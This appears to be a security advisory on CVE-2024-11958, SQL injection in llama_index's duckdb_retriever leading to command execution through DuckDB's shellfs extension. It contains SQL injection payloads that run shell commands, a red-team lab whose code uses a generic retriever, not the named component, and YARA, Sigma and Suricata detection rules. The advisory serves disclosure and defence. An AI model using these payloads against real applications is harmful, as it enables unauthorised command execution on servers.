CVE-2024-11958

Executive Summary

CVE-2024-11958 is a critical SQL injection vulnerability (CVSS 9.8) in the duckdb_retriever component of the run-llama/llama_index repository. The vulnerability allows an unauthenticated attacker to inject arbitrary SQL code due to the lack of prepared statements in query construction. This can lead to remote code execution (RCE) by leveraging DuckDB’s shellfs extension to execute arbitrary system commands. The vulnerability affects the latest version of the library, and no official patch has been released at the time of analysis.

Supply Chain & Package Security

This vulnerability resides in the llama_index Python package, which is distributed via PyPI. Organizations using this package in their AI/LLM pipelines are at risk. The lack of prepared statements in the duckdb_retriever component means that any application using this retriever with user-supplied input is vulnerable to SQL injection. Since the package is open source and widely used in AI workflows, the supply chain risk is significant. Users should immediately audit their usage of duckdb_retriever and consider alternative retrieval methods until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the potential for full system compromise. An attacker can execute arbitrary SQL and, via the shellfs extension, achieve remote code execution without authentication.

Deep Dive & Mechanics

The vulnerability exists in the duckdb_retriever component, which is used to query DuckDB databases from within the llama_index framework. The component constructs SQL queries by concatenating user input directly into the query string without using parameterized queries or prepared statements. This allows an attacker to inject malicious SQL code.

The attack chain is as follows:

1. The attacker sends a crafted input to the duckdb_retriever endpoint.
2. The input is concatenated into a SQL query without sanitization.
3. The injected SQL code can install the shellfs extension in DuckDB using INSTALL shellfs; LOAD shellfs;.
4. The attacker then uses shellfs functions to execute arbitrary system commands, achieving RCE.

For example, an attacker could inject:

'; INSTALL shellfs; LOAD shellfs; SELECT shellfs_exec('id'); --

This would execute the id command on the host system.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def retrieve(self, query: str):
    sql_query = f"SELECT * FROM documents WHERE content LIKE '%{query}%'"
    return self.connection.execute(sql_query).fetchall()

Patched Code (Conceptual):

def retrieve(self, query: str):
    sql_query = "SELECT * FROM documents WHERE content LIKE ?"
    return self.connection.execute(sql_query, (f"%{query}%",)).fetchall()

The patched version uses a parameterized query (prepared statement) to safely handle user input, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install llama_index with DuckDB support: pip install llama-index duckdb
2. Create a simple application using duckdb_retriever:

from llama_index.core import VectorStoreIndex, SimpleDirectoryReader
from llama_index.vector_stores.duckdb import DuckDBVectorStore

# Initialize DuckDB vector store
vector_store = DuckDBVectorStore.from_params(database=":memory:")
index = VectorStoreIndex.from_vector_store(vector_store)

# Simulate vulnerable retrieval
retriever = index.as_retriever()
user_input = "'; INSTALL shellfs; LOAD shellfs; SELECT shellfs_exec('id'); --"
results = retriever.retrieve(user_input)

Exploitation Steps:

1. Send a crafted request to the application endpoint that uses duckdb_retriever.
2. Inject the malicious SQL payload to install and load the shellfs extension.
3. Execute system commands via shellfs_exec().

Example Payload:

'; INSTALL shellfs; LOAD shellfs; SELECT shellfs_exec('whoami'); --

Blue Team

Detection:

• Monitor for SQL queries containing INSTALL, LOAD, or shellfs keywords.
• Look for unusual database connections or command execution patterns.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately disable the duckdb_retriever component if not in use.
• Implement input validation and parameterized queries.
• Restrict DuckDB extension loading capabilities.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SQL queries containing INSTALL shellfs or LOAD shellfs
  • Outbound connections to command-and-control servers after exploitation
• File IOCs:
  • Presence of shellfs.duckdb_extension in DuckDB extension directories
  • Unusual files created in /tmp or other writable directories
• Process IOCs:
  • DuckDB processes executing shell commands (e.g., sh, bash, cmd)
  • Unexpected child processes spawned by DuckDB

Detection Engineering

YARA Rule

rule CVE_2024_11958_SQL_Injection {
    meta:
        description = "Detects SQL injection attempts targeting duckdb_retriever"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-11958"
    strings:
        $sql_inject1 = /INSTALL\s+shellfs/i
        $sql_inject2 = /LOAD\s+shellfs/i
        $sql_inject3 = /shellfs_exec\(/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-11958 SQL Injection in duckdb_retriever
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts exploiting CVE-2024-11958
author: Valters IT
date: 2024-12-01
logsource:
    category: application
    product: llama_index
detection:
    selection:
        - query: "*INSTALL shellfs*"
        - query: "*LOAD shellfs*"
        - query: "*shellfs_exec(*"
    condition: selection
falsepositives:
    - Legitimate use of shellfs extension (rare)
level: critical

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-11958 SQL Injection in duckdb_retriever"; flow:to_server,established; content:"INSTALL shellfs"; nocase; sid:1000001; rev:1;)
alert tcp any any -> any any (msg:"CVE-2024-11958 SQL Injection in duckdb_retriever"; flow:to_server,established; content:"LOAD shellfs"; nocase; sid:1000002; rev:1;)
alert tcp any any -> any any (msg:"CVE-2024-11958 SQL Injection in duckdb_retriever"; flow:to_server,established; content:"shellfs_exec"; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the duckdb_retriever component in production environments.
   • Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
   • Monitor logs for suspicious SQL queries.

2. Long-term Fix:

   • Update to a patched version of llama_index once available.
   • Replace duckdb_retriever with a parameterized query implementation.
   • Conduct a security audit of all database interactions in the application.

3. Compensating Controls:

   • Use a database proxy that enforces prepared statements.
   • Restrict DuckDB extension loading by disabling INSTALL and LOAD commands.
   • Apply the principle of least privilege to database users.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert